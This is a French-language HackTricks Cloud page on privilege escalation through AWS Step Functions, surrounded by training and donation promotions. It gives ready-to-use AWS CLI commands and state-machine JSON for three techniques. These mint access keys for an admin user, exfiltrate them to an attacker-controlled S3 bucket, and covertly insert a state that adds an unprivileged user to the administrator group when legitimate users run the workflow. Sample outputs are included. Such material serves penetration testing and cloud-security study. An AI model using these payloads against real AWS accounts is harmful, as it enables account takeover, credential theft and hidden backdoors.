AWS - Step Functions Privesc

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

• Consultez les subscription plans!
• Rejoignez le 💬 Discord group ou le telegram group ou suivez-nous sur Twitter 🐦 @hacktricks_live.
• Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.

Step Functions

Pour plus d’informations sur ce service AWS, consultez :

AWS - Step Functions Enum

Task Resources

Ces techniques d’escalade de privilèges vont nécessiter l’utilisation de certaines ressources AWS Step Functions afin d’effectuer les actions d’escalade de privilèges souhaitées.

Pour vérifier toutes les actions possibles, vous pouvez vous rendre dans votre propre compte AWS, sélectionner l’action que vous souhaitez utiliser et voir les paramètres qu’elle utilise, comme dans :

Ou vous pouvez aussi consulter la documentation API AWS et vérifier la documentation de chaque action :

• AddUserToGroup
• GetSecretValue

states:TestState & iam:PassRole

Un attaquant disposant des permissions states:TestState et iam:PassRole peut tester n’importe quel state et lui passer n’importe quel rôle IAM sans créer ni mettre à jour un state machine existant, ce qui peut permettre un accès non autorisé à d’autres services AWS avec les permissions des rôles. Combinées, ces permissions peuvent conduire à des actions non autorisées étendues, allant de la manipulation de workflows et de la modification de données à des fuites de données, la manipulation de ressources et l’escalade de privilèges.

aws stepfunctions test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]

Les exemples suivants montrent comment tester un state qui crée une access key pour l’utilisateur admin en tirant parti de ces permissions et d’un rôle permissif dans l’environnement AWS. Ce rôle permissif doit avoir une politique à privilèges élevés associée (par exemple arn:aws:iam::aws:policy/AdministratorAccess) qui permet au state d’effectuer l’action iam:CreateAccessKey :

• stateDefinition.json:

{
"Type": "Task",
"Parameters": {
"UserName": "admin"
},
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"End": true
}

• Commande exécutée pour effectuer le privesc:

aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole

{
"output": "{
\"AccessKey\":{
\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
\"CreateDate\":\"2024-07-09T16:59:11Z\",
\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
\"Status\":\"Active\",
\"UserName\":\"admin\"
}
}",
"status": "SUCCEEDED"
}

Impact potentiel: Exécution et manipulation non autorisées des workflows et accès à des ressources sensibles, pouvant entraîner des violations de sécurité importantes.

states:CreateStateMachine & iam:PassRole & (states:StartExecution | states:StartSyncExecution)

Un attaquant disposant des permissions states:CreateStateMachine et iam:PassRole pourrait créer une state machine et lui associer n’importe quel rôle IAM, permettant un accès non autorisé à d’autres services AWS avec les permissions du rôle. Contrairement à la technique de privesc précédente (states:TestState & iam:PassRole), celle-ci ne s’exécute pas d’elle-même : vous devrez également disposer des permissions states:StartExecution ou states:StartSyncExecution (states:StartSyncExecution is not available for standard workflows, just to express state machines) afin de lancer une exécution de la state machine.

# Create a state machine
aws stepfunctions create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]

# Start a state machine execution
aws stepfunctions start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]

# Start a Synchronous Express state machine execution
aws stepfunctions start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]

Les exemples suivants montrent comment créer une state machine qui crée une access key pour l’utilisateur admin et exfiltrates cette access key vers un bucket S3 contrôlé par l’attaquant, en tirant parti de ces permissions et d’un rôle permissif dans l’environnement AWS. Ce rôle permissif doit avoir une politique à haut privilège associée (par exemple arn:aws:iam::aws:policy/AdministratorAccess) permettant à la state machine d’exécuter les actions iam:CreateAccessKey & s3:putObject.

• stateMachineDefinition.json:

{
"Comment": "Malicious state machine to create IAM access key and upload to S3",
"StartAt": "CreateAccessKey",
"States": {
"CreateAccessKey": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"Parameters": {
"UserName": "admin"
},
"ResultPath": "$.AccessKeyResult",
"Next": "PrepareS3PutObject"
},
"PrepareS3PutObject": {
"Type": "Pass",
"Parameters": {
"Body.$": "$.AccessKeyResult.AccessKey",
"Bucket": "attacker-controlled-S3-bucket",
"Key": "AccessKey.json"
},
"ResultPath": "$.S3PutObjectParams",
"Next": "PutObject"
},
"PutObject": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:s3:putObject",
"Parameters": {
"Body.$": "$.S3PutObjectParams.Body",
"Bucket.$": "$.S3PutObjectParams.Bucket",
"Key.$": "$.S3PutObjectParams.Key"
},
"End": true
}
}
}

• Commande exécutée pour créer la state machine:

aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
{
"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
"creationDate": "2024-07-09T20:29:35.381000+02:00"
}

• Commande exécutée pour démarrer une exécution de la machine d’état précédemment créée:

aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
{
"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
"startDate": "2024-07-09T20:33:35.466000+02:00"
}

Warning

Le bucket S3 contrôlé par l’attaquant doit disposer des autorisations pour accepter une action s3:PutObject depuis le compte victime.

Impact potentiel: exécution et manipulation non autorisées des workflows et accès à des ressources sensibles, pouvant conduire à des violations de sécurité importantes.

states:UpdateStateMachine & (pas toujours requis) iam:PassRole

Un attaquant disposant de la permission states:UpdateStateMachine pourrait modifier la définition d’une state machine, en ajoutant des états furtifs supplémentaires susceptibles de conduire à une escalation de privilèges. Ainsi, lorsqu’un utilisateur légitime lance une exécution de la state machine, ce nouvel état malveillant furtif s’exécutera et l’escalade de privilèges aboutira.

Selon le degré de permissivité du IAM Role associé à la state machine, un attaquant se trouverait dans l’une des deux situations suivantes :

1. Permissive IAM Role : Si le IAM Role associé à la state machine est déjà permissif (il possède par exemple la policy arn:aws:iam::aws:policy/AdministratorAccess attachée), alors la permission iam:PassRole ne serait pas nécessaire pour escalader les privilèges puisque la mise à jour de la définition de la state machine suffirait.
2. Not permissive IAM Role : Contrairement au cas précédent, ici un attaquant aurait aussi besoin de la permission iam:PassRole car il serait nécessaire d’associer un IAM Role permissif à la state machine en plus de modifier la définition de la state machine.

aws stepfunctions update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]

Les exemples suivants montrent comment mettre à jour une state machine légitime qui n’invoque qu’une fonction HelloWorld Lambda, afin d’ajouter un état supplémentaire qui ajoute l’utilisateur unprivilegedUser au groupe IAM administrator. Ainsi, lorsqu’un utilisateur légitime démarre une exécution de la state machine modifiée, ce nouvel état malveillant et furtif sera exécuté et l’escalade de privilèges réussira.

Warning

Si la state machine n’a pas de IAM Role permissif associé, la permission iam:PassRole serait également requise pour mettre à jour le IAM Role afin d’associer un IAM Role permissif (par exemple un rôle avec la politique arn:aws:iam::aws:policy/AdministratorAccess attachée).

{
"Comment": "Hello world from Lambda state machine",
"StartAt": "Start PassState",
"States": {
"Start PassState": {
"Type": "Pass",
"Next": "LambdaInvoke"
},
"LambdaInvoke": {
"Type": "Task",
"Resource": "arn:aws:states:::lambda:invoke",
"Parameters": {
"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
},
"Next": "End PassState"
},
"End PassState": {
"Type": "Pass",
"End": true
}
}
}

{
"Comment": "Hello world from Lambda state machine",
"StartAt": "Start PassState",
"States": {
"Start PassState": {
"Type": "Pass",
"Next": "LambdaInvoke"
},
"LambdaInvoke": {
"Type": "Task",
"Resource": "arn:aws:states:::lambda:invoke",
"Parameters": {
"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
},
"Next": "AddUserToGroup"
},
"AddUserToGroup": {
"Type": "Task",
"Parameters": {
"GroupName": "administrator",
"UserName": "unprivilegedUser"
},
"Resource": "arn:aws:states:::aws-sdk:iam:addUserToGroup",
"Next": "End PassState"
},
"End PassState": {
"Type": "Pass",
"End": true
}
}
}

• Commande exécutée pour mettre à jour la machine d’état légitime:

aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
{
"updateDate": "2024-07-10T20:07:10.294000+02:00",
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}

Impact potentiel : Exécution et manipulation non autorisées des workflows et accès à des ressources sensibles, pouvant entraîner des violations de sécurité importantes.

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

• Consultez les subscription plans!
• Rejoignez le 💬 Discord group ou le telegram group ou suivez-nous sur Twitter 🐦 @hacktricks_live.
• Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.